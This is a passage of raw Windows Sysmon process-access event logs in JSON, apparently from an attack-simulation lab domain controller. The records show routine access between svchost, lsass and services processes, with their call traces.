C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+23c28|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+23c28|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|c:\\windows\\system32\\lsm.dll+23c39|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|c:\\windows\\system32\\lsm.dll+23c39|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.313","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.313\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 